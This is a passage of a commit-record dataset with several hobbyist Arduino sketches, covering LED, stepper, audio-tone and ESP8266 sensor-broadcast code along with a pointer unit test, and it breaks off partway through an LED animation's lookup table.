RRawPointer<uint8_t> rawPtr;\n RRawPointer<uint8_t> rawPtr2(ptr);\n RRawPointer<uint8_t> rawPtr3(rawPtr2);\n\n RASSERT_TRUE(rawPtr.data() == NULL);\n RASSERT_TRUE(rawPtr2.data() == ptr);\n RASSERT_TRUE(rawPtr3.data() == ptr);\n RASSERT_TRUE(rawPtr3.data() == rawPtr2.data());\n RASSERT_TRUE(rawPtr == NULL);\n RASSERT_TRUE(rawPtr2 == ptr);\n RASSERT_TRUE(rawPtr3 == ptr);\n RASSERT_TRUE(rawPtr3 == rawPtr2.data());\n\n rawPtr.reset(ptr2);\n\n RASSERT_TRUE(rawPtr.data() == ptr2);\n\n rawPtr = rawPtr3;\n\n RASSERT_TRUE(rawPtr.data() == ptr);\n RASSERT_TRUE(rawPtr.data() == rawPtr2.data());\n\n rawPtr.reset();\n rawPtr3.reset();\n\n RASSERT_TRUE(rawPtr.data() == NULL);\n RASSERT_TRUE(rawPtr3.data() == NULL);\n RASSERT_TRUE(rawPtr == NULL);\n RASSERT_TRUE(rawPtr3 == NULL);\n RASSERT_TRUE(rawPtr2 == ptr);\n};\n\nvoid\nsetup()\n{\n Serial.begin(9600);\n\n while(!Serial) \/\/ for the Arduino Leonardo\/Micro only\n {\n }\n\n RTestApplication testApp;\n\n testApp.addTest(&RTEST_INSTANCE(TestRawPointer));\n testApp.run();\n}\n\nvoid\nloop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/TestPointers\/TestPointers.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2e45319b9351e75238f3c728c93919dc1fea8a0f","subject":"add base file","message":"add base file\n","repos":"justinpchen\/TRC_Justin,neltnerb\/Teensy-Reactor-Controller","old_file":"Teensy_Reactor_Controller.ino","new_file":"Teensy_Reactor_Controller.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Teensy_Reactor_Controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4ab707fa60ed9bfa02e56b4949d082088dbc0057","subject":"this one works","message":"this one works","repos":"mwweinberg\/schorlephase,mwweinberg\/schorlephase","old_file":"led_sequence_combined_momentary_mar2019\/led_sequence_combined_momentary_mar2019.ino","new_file":"led_sequence_combined_momentary_mar2019\/led_sequence_combined_momentary_mar2019.ino","new_contents":"\/\/ *******libraries\n#include <Adafruit_NeoPixel.h>\n#include <Stepper.h>\n\n\/\/ *******these constants won't change:\nconst int buttonPin = 2; \/\/ the pin that the pushbutton is attached to\nconst int ledPin = 13; \/\/ the pin that the LED is attached to (may be legacy for pre-neopixel)\n\/\/LED constants\nconst int neoPin = 11; \/\/neopixel control pin\nconst int pixelQuant = 1; \/\/ number of neopixels\n\/\/sound Pin\nconst int upPin = 4;\nconst int pingPin = 3;\nconst int downPin = 5;\n\/\/ how long the on period should be\nconst int onTime = 300;\n\n\n\n\/\/ *******these variables will change:\nint buttonState = 0; \/\/ current state of the button\nint lastButtonState = 0; \/\/ previous state of the button\nint counter = 0;\nint stateTracker = 0; \/\/ used to prevent double off-sequencing\nint pingTracker = 0; \/\/ used to make the ping in the on phase happen only once\n\/\/LED variables\nint redVal = 255; \/\/ used to fade out LED. Starts at 255 to match startup val\nint greenVal = 0; \/\/used to fade in LED\n\/\/stepper variables\n\/\/number of steps you want the motor to take\n#define STEPS 600\n\n\n\/\/********other initialization things\n\/\/ intitialize neopixel object\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(pixelQuant, neoPin, NEO_RGB + NEO_KHZ800);\n\/\/ create an instance of the stepper, specifiying number of steps and pins\nStepper stepper(STEPS, 7, 8, 9, 10);\n\n\n\nvoid setup() {\n \/\/ initialize the button pin as a input:\n pinMode(buttonPin, INPUT);\n \/\/ initialize the LED as an output:\n pinMode(ledPin, OUTPUT);\n \/\/ initialize serial communication:\n Serial.begin(9600);\n\n \/\/initialize neopixels\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n\n \/\/initialize the stepper\n \/\/ speed in RPM - keep it below 25\n stepper.setSpeed(10);\n\n \/\/initilizes the audio pin\n pinMode(upPin,OUTPUT);\n digitalWrite(upPin, HIGH);\n pinMode(pingPin,OUTPUT);\n digitalWrite(pingPin, HIGH);\n pinMode(downPin,OUTPUT);\n digitalWrite(downPin, HIGH);\n}\n\n\nvoid loop() {\n \/\/ read the pushbutton input pin:\n buttonState = digitalRead(buttonPin);\n\n \/\/****************************************************\n \/* state change sequences *\/\n \/\/****************************************************\n\n \/\/ compare the buttonState to its previous state and see if it changed\n if (buttonState != lastButtonState) {\n \/\/ Delay a little bit to avoid bouncing\n delay(50);\n \/\/ if the state changed, the switch is high, and the flag is down\n \/\/pushing the button means that it is time for startup\n if ((buttonState == HIGH) && (counter == 0)) {\n\n startup();\n \n } \n\n \/\/if the state changed, the switch is high, and the flag is up\n \/\/ pushing the botton means that it is time to shut down early\n \/\/conter >1 instead of >0 becasue it gets set to 1 in startup so will be 1 before completing this\n \/\/sub routine\n if ((buttonState == HIGH) && (counter > 1)) {\n turnoff();\n }\n\n \n \n \n }\n\n \n \/\/****************************************************\n \/* while it is on sequences *\/\n \/\/****************************************************\n\n \/\/ if the counter > 0 the startup sequence has been initiated\n if ((counter > 0) && (counter < onTime)) {\n on();\n }\n\n\n \/\/ if counter > onTime it is time to shut down\n if (counter > (onTime-1)) {\n turnoff();\n }\n\n\n\n \n \/\/****************************************************\n \/* housecleaning sequence *\/\n \/\/****************************************************\n \/\/ save the current state as the last state,\n \/\/for next time through the loop\n lastButtonState = buttonState;\n\n\n}\n\n\/\/****************************************************\n\/* functions *\/\n\/\/****************************************************\n\n\/\/ this function is \"void\" becuase it is not expected to return a value - it just does something\n\/\/ this is the startup sequence where it flashes the LED on 3 times for 1 second each and then stays on\nvoid startup() {\n Serial.println(\"starting\");\n\n \/\/*******LED section\n \/\/\/\/this section is optional for if you want a color on during the on sequence\n \/\/\/\/I think you don't, but just in case I'm leaving it as a placeholder\n \/\/\/\/sets the color\n \/\/strip.setPixelColor(0, 255, 0, 0); \/\/pixel number, r,g,b\n \/\/\/\/pushes change to neopixels\n \/\/strip.show();\n\n \/\/*******Tone section\n \/\/trigger the sound\n digitalWrite(upPin, LOW);\n delay(200);\n digitalWrite(upPin, HIGH);\n\n \/\/*******Stepper section\n \/\/goes up STEPS steps\n stepper.step(STEPS);\n\n \/\/*******cleanup section\n counter = 1;\n stateTracker = 1;\n pingTracker = 0;\n Serial.println(\"Startup complete\");\n \n}\n\n\/\/ this is the on function\nvoid on() {\n Serial.println(\"On\");\n\n \/\/***** Tone Section\n \/\/trigger the ping\n \/\/^^^^^^^^NOTE: ping won't trigger if the startup song ends after the stepper stops in startup()^^^^^\n if (pingTracker == 0) {\n digitalWrite(pingPin, LOW);\n delay(200);\n digitalWrite(pingPin, HIGH);\n \/\/tells the variable that ping has already happened\n pingTracker = 1;\n }\n\n \/\/*****LED section\n \/\/ allows the LED to fade out\n \/\/ counter is how far it is into the counter sequence\n \/\/ 0 is the lowest counter number, 100 is the highest number\n \/\/ 255 is where the output number should start (because it is on when counter = 0\n \/\/ 0 is where the output ends when the counter hits 100\n redVal = map(counter, 0, onTime, 255, 0); \n \/\/ turns up the green as the red fades out\n greenVal = map(counter, 0, onTime, 0, 255); \n \/\/sets the color\n strip.setPixelColor(0, redVal, greenVal, 0); \/\/pixel number, r,g,b\n \/\/pushes change to neopixels\n strip.show();\n\n \/\/******cleanup section\n \/\/increases counter\n counter += 1;\n Serial.print(\"Counter is: \");\n Serial.println(counter);\n}\n\n\/\/ this is the shutdow function\nvoid turnoff() {\n Serial.println(\"shutdown\");\n\n\n \/\/***** Tone Section\n \/\/trigger the down music\n digitalWrite(downPin, LOW);\n delay(200);\n digitalWrite(downPin, HIGH);\n \/\/this is for the on ping reset\n pingTracker = 0;\n\n \/\/*****LED section\n \/\/ turns off neopixels\n strip.setPixelColor(0, 0, 0, 0); \/\/pixel number, r,g,b\n strip.show();\n \n\n \/\/*****stepper section\n \/\/ goes down STEPS steps (down because it is negative)\n stepper.step(-STEPS);\n\n\n \n \/\/*****cleanup section\n counter = 0;\n stateTracker = 0;\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'led_sequence_combined_momentary_mar2019\/led_sequence_combined_momentary_mar2019.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"144d0334d946065bad7fd828a646062cb357a25f","subject":"Create droneBluetooth.ino","message":"Create droneBluetooth.ino","repos":"GaParmar\/quadcopter,GaParmar\/quadcopter","old_file":"droneBluetooth.ino","new_file":"droneBluetooth.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/GaParmar\/quadcopter.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"16c4f91e521e117e45f6f874a90aa4db6c6e6c75","subject":"Example: Add output tone testing example","message":"Example: Add output tone testing example\n","repos":"Tympan\/Tympan_Library,Tympan\/Tympan_Library,Tympan\/Tympan_Library","old_file":"examples\/02-Utility\/OutputToneWithSteppedAmplitude\/OutputToneWithSteppedAmplitude.ino","new_file":"examples\/02-Utility\/OutputToneWithSteppedAmplitude\/OutputToneWithSteppedAmplitude.ino","new_contents":"\/*\n Output Tone With Stepped Amplitude\n\n Chip Audette, OpenAudio 2018\n\n Plays a single tone followed by silence. Repeats the tone+silence at increasing amplitude.\n The last tone should definitely distort. The 2nd-to-last tone should be on the edge of distorting.\n\n MIT License, Use at your own risk.\n*\/\n\n#include <Tympan_Library.h>\n\n\/\/set the sample rate and block size\nconst float sample_rate_Hz = 44117.0f ; \/\/24000 or 44117 (or other frequencies in the table in AudioOutputI2S_F32)\nconst int audio_block_samples = 128; \/\/do not make bigger than AUDIO_BLOCK_SAMPLES from AudioStream.h (which is 128)\nAudioSettings_F32 audio_settings(sample_rate_Hz, audio_block_samples);\n\n\n\/\/ Create the audio library objects that we'll use\nTympanPins tympPins(TYMPAN_REV_C); \/\/TYMPAN_REV_C or TYMPAN_REV_D\nTympanBase tympanHardware(tympPins); \/\/from the Tympan_Library\nAudioSynthWaveform_F32 sineWave; \/\/from the Tympan_Library\nAudioOutputI2S_F32 audioOutput(audio_settings);\/\/from the Tympan_Library\n\n\/\/ Create the audio connections from the sineWave object to the audio output object\nAudioConnection_F32 patchCord10(sineWave, 0, audioOutput, 0); \/\/connect to left output\nAudioConnection_F32 patchCord11(sineWave, 0, audioOutput, 1); \/\/connect to right output\n\n\n\/\/ Define the parameters of the tone\nfloat tone_freq_Hz = 1000.0; \/\/frequency of the tone\n#define N_AMP (8) \/\/How many different amplitudes to test\nfloat tone_amp[N_AMP] = {0.1, 0.2, 0.4, 0.5, 0.6, 0.8, 1.0, 1.2}; \/\/here are the amplitudes (1.0 is digital full scale) to test\nfloat tone_dur_msec = 1000.0; \/\/ Length of time for the tone, milliseconds\nint amp_index = N_AMP-1; \/\/a counter to use when stepping through the given amplitudes\n\n\/\/ define setup()...this is run once when the hardware starts up\nvoid setup(void)\n{\n \/\/Open serial link for debugging\n Serial.begin(115200); delay(500);\n Serial.println(\"OutputTone: starting setup()...\");\n\n \/\/allocate the audio memory\n AudioMemory(10); AudioMemory_F32(20,audio_settings); \/\/I can only seem to allocate 400 blocks\n Serial.println(\"OutputTone: memory allocated.\");\n\n \/\/set the sine wave parameters\n sineWave.frequency(tone_freq_Hz);\n sineWave.amplitude(0.0);\n tympanHardware.setAmberLED(LOW);\n \n \/\/start the audio hardware\n tympanHardware.enable();\n\n \/\/Set the baseline volume levels\n tympanHardware.volume_dB(0); \/\/ headphone amplifier. -63.6 to +24 dB in 0.5dB steps.\n \n Serial.println(\"Setup complete.\");\n}\n\n\/\/ define loop()...this is run over-and-over while the device is powered\n#define START_SILENCE 0\n#define PLAY_SILENCE 1\n#define START_TONE 2\n#define PLAY_TONE 3\nint state = START_SILENCE;\nunsigned long start_time_millis = 0;\nfloat silence_dur_msec = 1000.f;\nint iteration_count = 0;\nvoid loop(void)\n{\n switch (state) {\n case START_SILENCE:\n sineWave.amplitude(0.0f);\n start_time_millis = millis();\n tympanHardware.setAmberLED(LOW);\n state = PLAY_SILENCE;\n break;\n case PLAY_SILENCE:\n if ((millis() - start_time_millis) >= silence_dur_msec) {\n state = START_TONE;\n }\n break;\n case START_TONE:\n amp_index++; if (amp_index == N_AMP) { amp_index = 0; iteration_count++;}\n sineWave.amplitude(tone_amp[amp_index]);\n Serial.print(\"Changing to start tone, amplitude = \");Serial.println(tone_amp[amp_index]);\n tympanHardware.setAmberLED(HIGH);\n start_time_millis = millis();\n state = PLAY_TONE;\n break;\n case PLAY_TONE:\n if ((millis() - start_time_millis) >= tone_dur_msec) {\n state = START_SILENCE;\n Serial.println(\"Changing to start silence...\");\n }\n break; \n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/02-Utility\/OutputToneWithSteppedAmplitude\/OutputToneWithSteppedAmplitude.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8ac08cd229b0610f9b36b61a090e8a6f41445a99","subject":"Wi-Fi\u308c\u3053\u30fc\u3060\u591a\u6a5f\u80fd\u7248","message":"Wi-Fi\u308c\u3053\u30fc\u3060\u591a\u6a5f\u80fd\u7248\n","repos":"bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp","old_file":"2_example\/example03a_adc\/example03a_adc.ino","new_file":"2_example\/example03a_adc\/example03a_adc.ino","new_contents":"\/*******************************************************************************\r\nExample 3: Wi-Fi \u30ec\u30b3\u30fc\u30c0 \u591a\u6a5f\u80fd\u7248\r\n\r\n\u30a2\u30ca\u30ed\u30b0\u5165\u529b\u5024\u3001\u30c7\u30b8\u30bf\u30eb\u5165\u529b\u5024\u3001\u30b7\u30ea\u30a2\u30eb\u5165\u529b\u30c7\u30fc\u30bf\u3092Wi-Fi\u9001\u4fe1\u3057\u307e\u3059\u3002\r\n\u30a2\u30ca\u30ed\u30b0\u5165\u529b\u3092\u4f7f\u7528\u3057\u306a\u3044\u3068\u304d\u306fTOUT\u3092GND\u3078\u63a5\u7d9a\u3057\u3066\u304a\u3044\u3066\u304f\u3060\u3055\u3044\u3002\r\n\r\n Copyright (c) 2016-2019 Wataru KUNINO\r\n*******************************************************************************\/\r\n\r\n#include <ESP8266WiFi.h> \/\/ ESP8266\u7528\u30e9\u30a4\u30d6\u30e9\u30ea\r\nextern \"C\" {\r\n#include \"user_interface.h\" \/\/ ESP8266\u7528\u306e\u62e1\u5f35IF\u30e9\u30a4\u30d6\u30e9\u30ea\r\n}\r\n#include <WiFiUdp.h> \/\/ UDP\u901a\u4fe1\u3092\u884c\u3046\u30e9\u30a4\u30d6\u30e9\u30ea\r\n#define PIN_SW 4 \/\/ IO 4(10\u756a\u30d4\u30f3) \u306b\u30bb\u30f3\u30b5\u3092\u63a5\u7d9a\r\n#define PIN_LED 13 \/\/ IO 13(5\u756a\u30d4\u30f3)\u306bLED\u3092\u63a5\u7d9a\u3059\u308b\r\n#define SSID \"1234ABCD\" \/\/ \u7121\u7ddaLAN\u30a2\u30af\u30bb\u30b9\u30dd\u30a4\u30f3\u30c8\u306eSSID\r\n#define PASS \"password\" \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\r\n#define SENDTO \"192.168.0.255\" \/\/ \u9001\u4fe1\u5148\u306eIP\u30a2\u30c9\u30ec\u30b9\r\n#define PORT 1024 \/\/ \u9001\u4fe1\u306e\u30dd\u30fc\u30c8\u756a\u53f7\r\n#define DEVICE \"adcnv_1,\" \/\/ \u30c7\u30d0\u30a4\u30b9\u540d(5\u6587\u5b57+\"_\"+\u756a\u53f7+\",\")\r\n\r\n#define TRIG_BPS 9600 \/\/ \u30b7\u30ea\u30a2\u30eb\u5165\u529b\u901f\u5ea6\r\n#define TRIG_RISE 15 \/\/ \u4e0a\u6607\u691c\u51fa\r\n#define TRIG_FALL 15 \/\/ \u4e0b\u964d\u691c\u51fa\r\n\r\nint adc_prev = 0; \/\/ \u524d\u56de\u5024\uff08\u30a2\u30ca\u30ed\u30b0\uff09\r\nint din_prev = -1; \/\/ \u524d\u56de\u5024\uff08\u30c7\u30b8\u30bf\u30eb\uff09\r\nchar s[64]; \/\/ \u30b7\u30ea\u30a2\u30eb\u5165\u529b\r\nint s_len = 0; \/\/ \u30b7\u30ea\u30a2\u30eb\u5165\u529b\u9577\r\n\r\nvoid setup(){ \/\/ \u8d77\u52d5\u6642\u306b\u4e00\u5ea6\u3060\u3051\u5b9f\u884c\u3059\u308b\u95a2\u6570\r\n pinMode(PIN_SW,INPUT_PULLUP); \/\/ \u30bb\u30f3\u30b5\u3092\u63a5\u7d9a\u3057\u305f\u30dd\u30fc\u30c8\u3092\u5165\u529b\u306b\r\n pinMode(PIN_LED,OUTPUT); \/\/ LED\u3092\u63a5\u7d9a\u3057\u305f\u30dd\u30fc\u30c8\u3092\u51fa\u529b\u306b\r\n Serial.begin(TRIG_BPS); \/\/ \u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u30fb\u5165\u529b\u306e\u958b\u59cb\r\n Serial.println(\"Example 03 ADC\"); \/\/ \u300cExample 03\u300d\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n WiFi.mode(WIFI_STA); \/\/ \u7121\u7ddaLAN\u3092STA\u30e2\u30fc\u30c9\u306b\u8a2d\u5b9a\r\n WiFi.begin(SSID,PASS); \/\/ \u7121\u7ddaLAN\u30a2\u30af\u30bb\u30b9\u30dd\u30a4\u30f3\u30c8\u3078\u63a5\u7d9a\r\n while(WiFi.status() != WL_CONNECTED){ \/\/ \u63a5\u7d9a\u306b\u6210\u529f\u3059\u308b\u307e\u3067\u5f85\u3064\r\n digitalWrite(PIN_LED,!digitalRead(PIN_LED)); \/\/ LED\u306e\u70b9\u6ec5\r\n delay(500); \/\/ \u5f85\u3061\u6642\u9593\u51e6\u7406\r\n }\r\n Serial.println(WiFi.localIP()); \/\/ \u672c\u6a5f\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\r\n}\r\n\r\nvoid loop(){ \/\/ \u7e70\u308a\u8fd4\u3057\u5b9f\u884c\u3059\u308b\u95a2\u6570\r\n WiFiUDP udp; \/\/ UDP\u901a\u4fe1\u7528\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u5b9a\u7fa9\r\n int adc,din; \/\/ \u6574\u6570\u578b\u5909\u6570adc\u3068i\u3092\u5b9a\u7fa9\r\n char c='\\0';\r\n \r\n adc=system_adc_read(); \/\/ AD\u5909\u63db\u5668\u304b\u3089\u5024\u3092\u53d6\u5f97\r\n din=digitalRead(PIN_SW); \/\/ \u30c7\u30b8\u30bf\u30eb\u5165\u529b\u5024\u3092\u53d6\u5f97\r\n if(Serial.available()){\r\n c = Serial.read();\r\n if( isprint(c) ){\r\n s[s_len] = c;\r\n s_len++;\r\n if( s_len > 63 ) s_len=63;\r\n s[s_len] = '\\0';\r\n }\r\n }\r\n if(\r\n ( adc > adc_prev - TRIG_FALL && adc < adc_prev + TRIG_RISE)\r\n && din == din_prev\r\n && c != '\\n'\r\n ) return; \/\/ \u5909\u5316\u304c\u7121\u3051\u308c\u3070loop\u306e\u5148\u982d\u306b\u623b\u308b\r\n digitalWrite(PIN_LED,HIGH); \/\/ LED\u70b9\u706f\r\n udp.beginPacket(SENDTO, PORT); \/\/ UDP\u9001\u4fe1\u5148\u3092\u8a2d\u5b9a\r\n udp.print(DEVICE); \/\/ \u30c7\u30d0\u30a4\u30b9\u540d\u3092\u9001\u4fe1\r\n udp.print(adc); \/\/ \u5909\u6570adc\u306e\u5024\u3092\u9001\u4fe1\r\n udp.print(\", \"); \/\/ \u300c,\u300d\u30ab\u30f3\u30de\u3068\u300c\u2423\u300d\u3092\u9001\u4fe1\r\n udp.print(din); \/\/ \u5909\u6570din\u306e\u5024\u3092\u9001\u4fe1\r\n Serial.print(adc); \/\/ \u5909\u6570adc\u306e\u5024\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n Serial.print(\", \"); \/\/ \u300c,\u300d\u30ab\u30f3\u30de\u3068\u300c\u2423\u300d\u3092\u51fa\u529b\u8868\u793a\r\n Serial.print(din); \/\/ \u5909\u6570din\u306e\u5024\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n if(s_len > 0 && c == '\\n'){\r\n udp.print(\", \"); \/\/ \u300c,\u300d\u30ab\u30f3\u30de\u3068\u300c\u2423\u300d\u3092\u9001\u4fe1\r\n udp.println(s); \/\/ \u6587\u5b57\u5217\u5909\u6570s\u306e\u5185\u5bb9\u3092\u9001\u4fe1\r\n Serial.print(\", \"); \/\/ \u300c,\u300d\u30ab\u30f3\u30de\u3068\u300c\u2423\u300d\u3092\u51fa\u529b\u8868\u793a\r\n Serial.println(s); \/\/ \u6587\u5b57\u5217\u5909\u6570s\u306e\u5185\u5bb9\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\r\n s_len = 0;\r\n }else{\r\n udp.println();\r\n Serial.println();\r\n }\r\n udp.endPacket(); \/\/ UDP\u9001\u4fe1\u306e\u7d42\u4e86(\u5b9f\u969b\u306b\u9001\u4fe1\u3059\u308b)\r\n delay(100); \/\/ 100ms\u306e\u5f85\u3061\u6642\u9593\u51e6\u7406\r\n digitalWrite(PIN_LED,LOW); \/\/ LED\u6d88\u706f\r\n adc_prev = adc; \/\/ AD\u5024\u3092\u524d\u56de\u5024\u3068\u3057\u3066\u4fdd\u5b58\r\n din_prev = din; \/\/ \u30c7\u30b8\u30bf\u30eb\u5165\u529b\u5024\u3092\u524d\u56de\u5024\u3068\u3057\u3066\u4fdd\u5b58\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2_example\/example03a_adc\/example03a_adc.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a2e1c5f2963e6ff262f259f2c2853915419a19f1","subject":"very nice back and forth material effect","message":"very nice back and forth material effect","repos":"jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit","old_file":"Arduino\/shooting_colors\/shooting_colors.ino","new_file":"Arduino\/shooting_colors\/shooting_colors.ino","new_contents":"\/\/ try: dim at ends per cosine, bump into each other and transfer momentum\n\n#include <PololuLedStrip.h>\n#include <math.h>\n \n\/\/ Create an ledStrip object and specify the pin it will use.\nPololuLedStrip<12> ledStrip;\n\n#define EASE_EXPONENT 3 \/\/ cubic\n#define EASE_COUNT 36\n#define EASE_DELAY 5\n#define EASE_ANIM_MARGIN 30\n\n\/\/ Create a buffer for holding the colors (3 bytes per color).\n#define ANIM_LED_COUNT 144\n#define LED_COUNT (ANIM_LED_COUNT + EASE_ANIM_MARGIN)\n#define VLED_COUNT (LED_COUNT)\n#define MAX_LED (LED_COUNT)\n#define MAX_VLED (VLED_COUNT)\n#define LED_COUNT_MIDPOINT (LED_COUNT \/ 2)\n\nrgb_color colors[LED_COUNT];\nunsigned char existence[VLED_COUNT];\n\nfloat ease[LED_COUNT];\n\n#define DELAY 1000\n#define FADE_RATE 0.75\n#define FADE_COUNT 20\n\n#define BRIGHTNESS_PERCENT 25\n#define BRIGHTNESS_DIVISOR 20.0\n#define MIN_BRIGHTNESS 1.0\n\n#define RESOLUTION 1000000.0\n\n#define MIN_SPEED 0.50\n#define MAX_SPEED 0.75\n#define SPEED MIN_SPEED\n\n#define NUM_ROWS 10\n#define NUM_COLS 17\n#define MAX_ROW (NUM_ROWS - 1)\n#define MAX_COL (NUM_COLS - 1)\n\nrgb_color black = {0, 0, 0};\nrgb_color gray = {10, 10, 10};\nrgb_color white = {20, 20, 20};\nrgb_color red = {20, 0, 0};\nrgb_color orange = {20, 10, 0};\nrgb_color yellow = {20, 20, 0};\nrgb_color ltgreen = {10, 20, 0};\nrgb_color green = {0, 20, 0};\nrgb_color seafoam = {0, 20, 10};\nrgb_color cyan = {0, 20, 20};\nrgb_color ltblue = {0, 10, 20};\nrgb_color blue = {0, 0, 20};\nrgb_color purple = {10, 0, 20};\nrgb_color magenta = {20, 0, 20};\nrgb_color pink = {20, 0, 10};\n\n#define NPALETTE 15\n#define NPRETTY_COLORS 12\nrgb_color palette[NPALETTE] = { red, orange, pink, magenta, yellow, green, seafoam, ltgreen, ltblue, cyan, blue, purple, white, gray, black }; \n\n#define NGROUPS 3\n#define GROUP_RED_START 0\n#define GROUP_RED_MAX 4\n#define GROUP_GREEN_START 4\n#define GROUP_GREEN_MAX 8\n#define GROUP_BLUE_START 8\n#define GROUP_BLUE_MAX 12\n#define GROUP_WHITE_START 12\n#define GROUP_WHITE_MAX 13\n\nint group_start[4] = {GROUP_RED_START,GROUP_GREEN_START,GROUP_BLUE_START,GROUP_WHITE_START};\nint group_max[4] = {GROUP_RED_MAX,GROUP_GREEN_MAX,GROUP_BLUE_MAX,GROUP_WHITE_MAX};\n\nrgb_color adjusted_palette[NPALETTE];\n\n\/\/ 72 @ 2.0\nint sin223_translation[223] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 10, 10, 10, 11, 11, 12, 12, 12, 13, 13, 13, 14, 14, 15, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 23, 23, 23, 24, 24, 25, 25, 26, 26, 27, 27, 28, 28, 29, 29, 30, 30, 31, 31, 32, 32, 33, 33, 34, 34, 35, 35, 36, 36, 37, 37, 38, 38, 39, 39, 40, 40, 41, 41, 42, 42, 43, 43, 44, 44, 45, 45, 46, 46, 47, 47, 48, 48, 48, 49, 49, 50, 50, 51, 51, 52, 52, 53, 53, 53, 54, 54, 55, 55, 56, 56, 56, 57, 57, 58, 58, 58, 59, 59, 59, 60, 60, 61, 61, 61, 62, 62, 62, 63, 63, 63, 64, 64, 64, 64, 65, 65, 65, 66, 66, 66, 66, 67, 67, 67, 67, 67, 68, 68, 68, 68, 68, 69, 69, 69, 69, 69, 69, 70, 70, 70, 70, 70, 70, 70, 70, 70, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71, 71};\n\n\/\/ 72 @ 5.0\n\/\/ int sin557_translation[557] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 21, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 31, 31, 31, 31, 31, 32, 32, 32, 32, 32, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 39, 39, 39, 39, 39, 40, 40, 40, 40, 40, 41, 41, 41, 41, 41, 42, 42, 42, 42, 42, 43, 43, 43, 43, 43, 44, 44, 44, 44, 44, 45, 45, 45, 45, 45, 45, 46, 46, 46, 46, 46, 47, 47, 47, 47, 47, 48, 48, 48, 48, 48, 49, 49, 49, 49, 49, 49, 50, 50, 50, 50, 50, 51, 51, 51, 51, 51, 51, 52, 52, 52, 52, 52, 52, 53, 53, 53, 53, 53, 54, 54, 54, 54, 54, 54, 55, 55, 55, 55, 55, 55, 56, 56, 56, 56, 56, 56, 57, 57, 57, 57, 57, 57, 58, 58, 58, 58, 58, 58, 58, 59, 59, 59, 59, 59, 59, 59, 60, 60, 60, 60, 60, 60, 61, 61, 61, 61, 61, 61, 61, 61, 62, 62, 62, 62, 62, 62, 62, 63, 63, 63, 63, 63, 63, 63, 63, 64, 64, 64, 64, 64, 64, 64, 64, 65, 65, 65, 65, 65, 65, 65, 65, 65, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 67, 67, 67, 67, 67, 